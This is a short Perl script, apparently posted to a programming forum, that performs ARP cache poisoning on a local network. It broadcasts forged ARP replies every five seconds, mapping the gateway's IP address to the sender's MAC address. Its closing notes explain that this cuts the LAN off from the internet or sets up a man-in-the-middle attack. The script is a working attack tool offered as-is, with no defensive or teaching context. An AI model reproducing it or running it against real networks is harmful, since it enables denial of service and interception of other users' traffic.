#!usr/bin/perl
use Net::ARP;
use strict;
use warnings;
for (;;){
    Net::ARP::send_packet(
                        'eth0',                       # Device
                        '192.168.12.1',               # Source IP (my 
+gateway)
                        '192.168.12.255',             # Destination IP
                        '00:1E:EC:9F:DB:67',          # Source MAC
                        'FF:FF:FF:FF:FF:FF',          # Destinaton MAC
                        'reply'                       # ARP operation
    );
    print "packet sent\n";
    sleep(5);
}

__END__
arp poisoner
map a totally working IP to a non-existent MAC or your own MAC in this
+ case am using my own MAC
and broadcast it
the IP can be of the default gateway (192.168.12.1 in this case)
WORKING:
the other systems ARP caches will update themselves every 5 seconds.
the update would tell them the false MAC address of the gateway and
the data sent will be dumped and it will cause a DoS on the network.
since the MAC is non-existing therefore the LAN segment will be cut of
+f
from the internet, if the MAC is our own then we can attempt a 
man-in-the-middle attack or again cause a DoS
[download]